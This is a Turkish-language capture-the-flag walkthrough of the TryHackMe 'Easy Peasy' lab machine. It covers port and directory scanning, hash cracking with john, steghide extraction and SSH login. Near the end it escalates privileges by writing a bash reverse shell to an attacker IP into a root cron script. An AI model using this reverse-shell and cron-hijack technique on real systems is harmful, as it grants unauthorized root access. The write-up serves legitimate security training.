TryHackMe – Easy Peasy Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Easy Peasy” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV -p- 10.10.251.52

2 — Dizin taraması yapıyorum. Daha sonra “whatever” dizinine gidip sayfa kaynağını incelediğimde base64 ile şifrelenmiş ilk bayrağı buluyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.251.52 -w /usr/share/wordlists/dirb/common.txt                        
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.251.52
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/15 13:23:11 Starting gobuster in directory enumeration mode
===============================================================
/hidden               (Status: 301) [Size: 169] [--> http://10.10.251.52/hidden/]
/index.html           (Status: 200) [Size: 612]

┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.251.52/hidden -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.251.52/hidden
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/15 13:23:38 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 390]
/whatever             (Status: 301) [Size: 169] [--> http://10.10.251.52/hidden/whatever/]

3 — “65524” portunda HTTP sayfasının kaynağını incelediğimde Base62 ile şifrelenmiş bir hash buluyorum. Çözdüğümde “n0th1ng3ls3m4tt3r” kelimesine ulaşıyorum. Dizine gittiğimde ise “binarycodepixabay.jpg” dosyasına ulaşıyorum. Sayfa kaynağındaki hashi bize verilen easypeasy.txt dosyasını kullanarak çözüyorum. Daha sonra steghide ile binarycodepixabay.jpg dosyasının içerisindeki dosyası çıkarıyorum. Dosyayı okuduğumda binary kodu karşıma çıkıyor. Binary’den stringe çevirdiğimde ise kullanıcının parolasını buluyorum.

<p hidden>its encoded with ba....:*CENSORED</p>

┌──(root㉿kali)-[/home/kali/Downloads]
└─# wget http://10.10.251.52:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg                              
--2023-06-15 13:39:20--  http://10.10.251.52:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg
Connecting to 10.10.251.52:65524... connected.
HTTP request sent, awaiting response... 200 OK
Length: 90158 (88K) [image/jpeg]
Saving to: ‘binarycodepixabay.jpg’

binarycodepixabay.jpg         100%[===============================================>]  88.04K   459KB/s    in 0.2s    

2023-06-15 13:39:21 (459 KB/s) - ‘binarycodepixabay.jpg’ saved [90158/90158]

┌──(root㉿kali)-[/home/kali/Downloads]
└─# john -w=easypeasy.txt -format=GOST hash
Using default input encoding: UTF-8
Loaded 1 password hash (gost, GOST R 34.11-94 [64/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*CENSORED* (?)     
1g 0:00:00:00 DONE (2023-06-15 13:40) 20.00g/s 81920p/s 81920c/s 81920C/s *CENSORED*..flash88
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# steghide extract -sf binarycodepixabay.jpg 
Enter passphrase: 
wrote extracted data to "secrettext.txt".

4 — SSH bağlantısı kurduktan sonra üçüncü bayrağı buluyorum. Üçüncü bayrak, Caesar algoritması ile şifrelenmiş durumda.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# ssh -p 6498 boring@10.10.251.52
*
*
boring@kral4-PC:~$ ls
user.txt
boring@kral4-PC:~$ cat user.txt
User Flag But It Seems Wrong Like It`s Rotated Or Something
*CENSORED*

5 — Cron tablosunu incelediğim zaman /var/www/.mysecretcronjob.sh dosyasını buluyorum. Fakat dosyasının içerisi boş.

boring@kral4-PC:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* *    * * *   root    cd /var/www/ && sudo bash .mysecretcronjob.sh

6 — Dosyanın içerisini bash reverse shell ekleyip bağlanmayı bekliyorum.

boring@kral4-PC:~$ nano /var/www/.mysecretcronjob.sh
boring@kral4-PC:~$ cat /var/www/.mysecretcronjob.sh 
#!/bin/bash
# i will run as root
bash -i >& /dev/tcp/10.8.94.51/4444 0>&1

7 — Bağlantı kurduktan sonra son bayrağı da elde ediyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444                
listening on [any] 4444 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.251.52] 47242
bash: cannot set terminal process group (1372): Inappropriate ioctl for device
bash: no job control in this shell
root@kral4-PC:/var/www# ls /root
ls /root
root@kral4-PC:/var/www# ls -la /root
ls -la /root
total 40
drwx------  5 root root 4096 Jun 15  2020 .
drwxr-xr-x 23 root root 4096 Jun 15  2020 ..
-rw-------  1 root root    2 Jun 15 10:48 .bash_history
-rw-r--r--  1 root root 3136 Jun 15  2020 .bashrc
drwx------  2 root root 4096 Jun 13  2020 .cache
drwx------  3 root root 4096 Jun 13  2020 .gnupg
drwxr-xr-x  3 root root 4096 Jun 13  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   39 Jun 15  2020 .root.txt
-rw-r--r--  1 root root   66 Jun 14  2020 .selected_editor
root@kral4-PC:/var/www# cat /root/.root.txt
cat /root/.root.txt
*CENSORED*